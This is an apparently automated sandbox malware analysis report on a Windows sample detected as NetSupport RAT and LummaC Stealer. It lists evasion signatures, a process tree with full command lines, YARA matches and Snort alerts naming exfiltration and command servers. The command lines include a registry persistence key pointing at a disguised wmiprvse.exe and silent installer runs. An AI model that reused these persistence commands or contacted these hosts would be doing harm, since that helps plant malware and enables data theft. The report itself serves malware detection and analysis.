Edit tour

Windows Analysis Report
ZmWSzgevgt.exe

Overview

General Information

Sample name:	ZmWSzgevgt.exe renamed because original name is a hash value
Original sample name:	4f2d5d155fe7497f9ab429cae34c5ebbdd711b0256b3bae83d9038cf1526c724.exe
Analysis ID:	1354609
MD5:	2deaf2be4672bf6457e136d78a7a3940
SHA1:	f8460d05dbdb1c171818510c9685847d00468349
SHA256:	4f2d5d155fe7497f9ab429cae34c5ebbdd711b0256b3bae83d9038cf1526c724
Tags:	exe
Infos:

Detection

NetSupport RAT, LummaC Stealer

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected LummaC Stealer

Binary is likely a compiled AutoIt script file

Contains functionality to detect sleep reduction / modifications

Creates an undocumented autostart registry key

Obfuscated command line found

Performs DNS queries to domains with low reputation

Query firmware table information (likely to detect VMs)

Uses known network protocols on non-standard ports

Yara detected Generic Downloader

Adds / modifies Windows certificates

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Connects to many different domains

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTML body contains low number of good links

HTML title does not match URL

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Stores files to the Windows start menu directory

Stores large binary data to the registry

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses reg.exe to modify the Windows registry

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64

ZmWSzgevgt.exe (PID: 6184 cmdline: C:\Users\user\Desktop\ZmWSzgevgt.exe MD5: 2DEAF2BE4672BF6457E136D78A7A3940)

ZmWSzgevgt.tmp (PID: 5240 cmdline: "C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp" /SL5="$20408,832512,832512,C:\Users\user\Desktop\ZmWSzgevgt.exe" MD5: BE0E74DC6AC70C5B8CC74C42B6999A70)

setup.exe (PID: 5800 cmdline: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe MD5: 8657D8F7608F1E03726F5B0256869C66)

setup.tmp (PID: 1992 cmdline: "C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp" /SL5="$1047E,4289520,832512,C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe" MD5: C039C014580F43E5B8162552F3CAF067)

a0.exe (PID: 2724 cmdline: "C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598 MD5: 5AFE9D5A2BCC39B1E0573A77EFBE82B7)

a0.tmp (PID: 3172 cmdline: "C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp" /SL5="$204E6,10235147,832512,C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598 MD5: AD96645518D5ABDD4F96B007E799F61E)

cmd.exe (PID: 1472 cmdline: "cmd.exe" /c expand C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\{app}\aglwjhm.cab -F:* %ProgramData% MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

expand.exe (PID: 5696 cmdline: expand C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\{app}\aglwjhm.cab -F:* C:\ProgramData MD5: 544B0DBFF3F393BCE8BB9D815F532D51)

cmd.exe (PID: 6036 cmdline: "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\wmiprvse.exe" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 5020 cmdline: reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

wmiprvse.exe (PID: 6024 cmdline: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe MD5: 261D6E9D4571D1938CB54A2AE1B1821D)

cmd.exe (PID: 1964 cmdline: "cmd.exe" /c start https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i^&c=5306757^&pl=0x03^&pb=1^&px=2598 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 5556 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2972 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1944,i,7293326498590966015,15724221701917447522,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

a1.exe (PID: 7588 cmdline: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe" /qn CAMPAIGN="2598 MD5: FA24733F5A6A6F44D0E65D7D98B84AA6)

msiexec.exe (PID: 6192 cmdline: C:\Windows\system32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" /qn CAMPAIGN=2598 AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\is-53US7.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701869374 /qn CAMPAIGN=""2598"" " CAMPAIGN="2598 MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 7932 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 8052 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 7B2098DE867FDA1FBAC9E94E8D311FE9 C MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 6972 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding CB3F137362C364F2A010C44D44B9B692 MD5: 9D09DC1EDA745A5F87553048E57620CF)

taskkill.exe (PID: 7756 cmdline: "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 7400 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding A0F7B99CF6F59695615DF13CC6461763 E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 7824 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 9A415338A0E06E3AA66F7530B5FE606F C MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 8128 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 50B63A94597415634C568616DD551356 E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

taskkill.exe (PID: 7560 cmdline: "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4012 cmdline: "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7360 cmdline: "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Windows Updater.exe (PID: 5572 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe" /silentall -nofreqcheck -nogui MD5: F95007206C6B2407FB69748EF7C93612)

Windows Updater.exe (PID: 6304 cmdline: C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" /install silentall "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.ini MD5: F95007206C6B2407FB69748EF7C93612)

v113.exe (PID: 7476 cmdline: "C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe" MD5: 8CAD036C5CFED94D5319A060C488E38F)

msiexec.exe (PID: 2928 cmdline: "C:\Windows\system32\msiexec.exe" /i "C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\System Updater.msi" AI_SETUPEXEPATH="C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe" SETUPEXEDIR="C:\ProgramData\AW Manager\Windows Manager\updates\v113\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701869374 " MD5: 9D09DC1EDA745A5F87553048E57620CF)

AdvancedWindowsManager.exe (PID: 5808 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

AdvancedWindowsManager.exe (PID: 7908 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 5908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 4052 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 5588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 4372 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 4796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 7592 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 3936 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 1048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 4832 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 5508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 5000 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 4012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 6308 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

conhost.exe (PID: 7412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdvancedWindowsManager.exe (PID: 3012 cmdline: "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080 MD5: 26F21ED76944ED83382851D9F2453B0E)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\078630d72d217d4d9885ece5b71fe988.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\e6adbd27df47824481105a18183e1d5e.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\f88670462385d642bd8a486306392759.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-J9JTN.tmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\2041dcc7124af9419b0b672e9d7171f7.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\51ccd7e4634de4468d3b8ec370ae3220.tmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\51ccd7e4634de4468d3b8ec370ae3220.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\5d7fc0667d8a0e48a42ebd70bdd0c76a.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000E.00000002.4543369015.0000000000402000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000E.00000002.4545412473.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000E.00000002.4554414336.00000000111E2000.00000004.00000001.01000000.00000012.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000E.00000000.2226521290.0000000000402000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: expand.exe PID: 5696	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: wmiprvse.exe PID: 6024	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: wmiprvse.exe PID: 6024	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
14.2.wmiprvse.exe.6bea0000.3.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.0.wmiprvse.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.2.wmiprvse.exe.111b8c68.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
14.2.wmiprvse.exe.111b8c68.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.2.wmiprvse.exe.6bf00000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.2.wmiprvse.exe.6f900000.7.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.2.wmiprvse.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.2.wmiprvse.exe.6f8e0000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.2.wmiprvse.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
14.2.wmiprvse.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 5 entries

Snort Signatures

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350296812046045 12/06/23-14:36:21.023223
SID:	2046045
Source Port:	50296
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350339812046045 12/06/23-14:36:51.222959
SID:	2046045
Source Port:	50339
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration - Source IP: 192.168.2.5 - Destination IP: 104.21.83.145

Timestamp:	192.168.2.5104.21.83.14550240802048094 12/06/23-14:35:36.356295
SID:	2048094
Source Port:	50240
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350333812046045 12/06/23-14:36:47.245112
SID:	2046045
Source Port:	50333
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350342812046045 12/06/23-14:36:53.204282
SID:	2046045
Source Port:	50342
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Lumma Stealer Related Activity - Source IP: 192.168.2.5 - Destination IP: 104.21.83.145

Timestamp:	192.168.2.5104.21.83.14550196802855505 12/06/23-14:35:05.037520
SID:	2855505
Source Port:	50196
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350281812046045 12/06/23-14:36:10.745594
SID:	2046045
Source Port:	50281
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350290812046045 12/06/23-14:36:17.057630
SID:	2046045
Source Port:	50290
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350278812046045 12/06/23-14:36:08.769868
SID:	2046045
Source Port:	50278
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350253812046045 12/06/23-14:35:52.149838
SID:	2046045
Source Port:	50253
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350351812046045 12/06/23-14:36:59.140117
SID:	2046045
Source Port:	50351
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350367812046045 12/06/23-14:37:10.788474
SID:	2046045
Source Port:	50367
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350287812046045 12/06/23-14:36:15.015230
SID:	2046045
Source Port:	50287
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350324812046045 12/06/23-14:36:39.669230
SID:	2046045
Source Port:	50324
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350315812046045 12/06/23-14:36:33.722404
SID:	2046045
Source Port:	50315
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350306812046045 12/06/23-14:36:27.603943
SID:	2046045
Source Port:	50306
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350280812046045 12/06/23-14:36:10.078872
SID:	2046045
Source Port:	50280
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350269812046045 12/06/23-14:36:02.831888
SID:	2046045
Source Port:	50269
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350323812046045 12/06/23-14:36:38.995481
SID:	2046045
Source Port:	50323
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350262812046045 12/06/23-14:35:58.204295
SID:	2046045
Source Port:	50262
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350297812046045 12/06/23-14:36:21.680969
SID:	2046045
Source Port:	50297
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350300812046045 12/06/23-14:36:23.660225
SID:	2046045
Source Port:	50300
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350358812046045 12/06/23-14:37:04.890944
SID:	2046045
Source Port:	50358
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350357812046045 12/06/23-14:37:03.144834
SID:	2046045
Source Port:	50357
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Observed Suspicious UA (AdvancedInstaller) - Source IP: 192.168.2.5 - Destination IP: 157.230.96.32

Timestamp:	192.168.2.5157.230.96.3250126802834928 12/06/23-14:33:41.532380
SID:	2834928
Source Port:	50126
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350316812046045 12/06/23-14:36:34.370818
SID:	2046045
Source Port:	50316
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350370812046045 12/06/23-14:37:12.776192
SID:	2046045
Source Port:	50370
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350305812046045 12/06/23-14:36:26.947206
SID:	2046045
Source Port:	50305
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350263812046045 12/06/23-14:35:58.892261
SID:	2046045
Source Port:	50263
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350334812046045 12/06/23-14:36:47.909549
SID:	2046045
Source Port:	50334
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

